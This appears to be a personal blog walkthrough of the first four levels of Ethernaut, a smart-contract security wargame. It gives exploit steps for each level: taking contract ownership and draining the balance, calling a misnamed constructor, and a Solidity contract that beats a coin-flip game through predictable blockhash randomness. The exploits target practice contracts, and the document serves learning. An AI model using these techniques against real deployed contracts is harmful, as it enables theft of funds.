Hello I am YesYouKen, this is my first time writing a walkthrough and I am just going to write as things come. Enjoy! And, I hope this helps!
Each level gets its own section and I will talk about how I get to the answer but if you want to go to the hint or the answer they are at the end of each section.
Levels
1. Hello Ethernaut
This one is easy. Just got to go through everything.
Take a longer look at the contract
object to see if anything shouts password
Solution: how to get the password
contract.password()
2. Fallback
Our goal is to call contract.withdraw
to get all the balance in the smart contract account
- Notice the
onlyOwner
modifier- it prevents anyone other than the owner from calling
contract.withdraw
- this is where I found out more about modifiers What are solidity modifiers?
- it prevents anyone other than the owner from calling
- There are two lines in the smart contract that allows us to change the owner of the smart contract with the following line
owner = msg.sender;
- in
contribute
andreceive
- in
- Notice that
receive
looks a little different from other function. Did some research and found out thatreceive() external payable
is a fallback function that is called "if Ether are sent to the contract and no calldata are provided" (ref.1)
There are two possible solutions
Solution A
// There are two answers
// Either do this multiple times,
await contract.contribute({value: toWei('0.0009')})
// until we have contributed more the owner
await contract.withdraw()
Solution B
await contract.contribute({value: toWei('0.00001')})
await contract.sendTransaction({value: toWei('0.00001')})
await contract.withdraw()
3. Fallout
Once again, same goal become the owner of the contract.
Solution
- Notice that there is only one function that allows change of
owner
which isFallout
- Tries to call
contract.Fallout
but realised it is undefined. - then notice the typo it is actually
Fal1out
, the secondl
is actually a1
- Just call the following and you will become the owner
await contract.Fal1out()
Takeaways
- Turns out that it has to be a typo else the challenge will not work, the challenge simulates a typo where the constructors is misnamed and became a public function instead.
- Seems like a bad idea to even define constructors by the contract name, note to myself, maybe just use the
constructor
keyword?
4. Coin Flip
We need to rack up some consecutive wins by making the right guesses.
I faced a few hiccups here.
- I tried to be fancy here and did a
for-loop
only to realised that the challenge prevents that with the following
uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); }
it will error out with execution reverted
example transaction
Solution
pragma solidity >=0.8.2 <0.9.0;
contract CoinFlipCheater {
CoinFlip coinflip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address a) {
coinflip = CoinFlip(a);
}
function guess(uint times) external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
}
interface CoinFlip {
function flip(bool _guess) external returns (bool);
}
Takeaways
-
external
is likepublic
but cannot be called internally
Top comments (0)